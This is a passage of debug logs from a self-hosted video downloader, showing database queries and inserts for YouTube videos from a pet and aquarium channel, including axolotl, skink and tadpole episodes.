"upload_date" => "20250517"} 11:12:30.884 [debug] QUERY OK source="sources" db=0.2ms idle=992.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:30.884 [debug] QUERY OK source="sources" db=0.1ms idle=993.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:30.885 [debug] QUERY OK source="media_items" db=0.6ms idle=993.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 19:03:21Z], 32] 11:12:30.887 [debug] QUERY OK source="media_items" db=1.2ms idle=994.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "4a961921-91e3-4216-8c99-53728e777f3a", "3UY2Qtkkioo", false, "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, [], 746, false, 12, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-05-17 19:03:21Z], ~U[2026-06-02 15:12:30Z], ~U[2026-06-02 15:12:30Z], "I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3UY2Qtkkioo", "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, 746, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-05-17 19:03:21Z]] 11:12:30.887 [debug] QUERY OK source="sources" db=0.2ms idle=102.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:30.888 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:30.888 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116192] 11:12:30.888 [debug] Current batch of media processed. Will check again in 1000ms 11:12:31.889 [debug] Current batch of media processed. Will check again in 1000ms 11:12:32.890 [debug] Current batch of media processed. Will check again in 1000ms 11:12:33.892 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 772, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", "id" => "FCVuWcU475c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FCVuWcU475c", "playlist_index" => 13, "timestamp" => 1745158395, "title" => "I Got a Pet Dragon...", "upload_date" => "20250420"} 11:12:33.893 [debug] QUERY OK source="sources" db=0.6ms idle=103.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:33.895 [debug] QUERY OK source="sources" db=0.5ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:33.896 [debug] QUERY OK source="media_items" db=1.1ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-20 14:13:15Z], 32] 11:12:33.898 [debug] QUERY OK source="media_items" db=1.1ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "9f3da668-d241-4ecd-a3e9-88a32d53d779", "FCVuWcU475c", false, "https://www.youtube.com/watch?v=FCVuWcU475c", 32, [], 772, false, 13, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, false, 98, ~U[2025-04-20 14:13:15Z], ~U[2026-06-02 15:12:33Z], ~U[2026-06-02 15:12:33Z], "I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "FCVuWcU475c", "https://www.youtube.com/watch?v=FCVuWcU475c", 32, 772, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, ~U[2025-04-20 14:13:15Z]] 11:12:33.898 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:33.899 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:33.899 [debug] QUERY OK source="media_items" db=0.1ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116193] 11:12:33.899 [debug] Current batch of media processed. Will check again in 1000ms 11:12:34.900 [debug] Current batch of media processed. Will check again in 1000ms 11:12:35.901 [debug] Current batch of media processed. Will check again in 1000ms 11:12:36.902 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 612, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", "id" => "G6HL0WyBDMM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G6HL0WyBDMM", "playlist_index" => 14, "timestamp" => 1741450649, "title" => "Raising Tadpoles to Frogs (100 Day Evolution)", "upload_date" => "20250308"} 11:12:36.903 [debug] QUERY OK source="sources" db=0.2ms idle=1011.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:36.903 [debug] QUERY OK source="sources" db=0.2ms idle=1011.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:36.904 [debug] QUERY OK source="media_items" db=0.5ms idle=1012.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-08 16:17:29Z], 32] 11:12:36.917 [debug] QUERY OK source="media_items" db=11.9ms idle=1012.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future 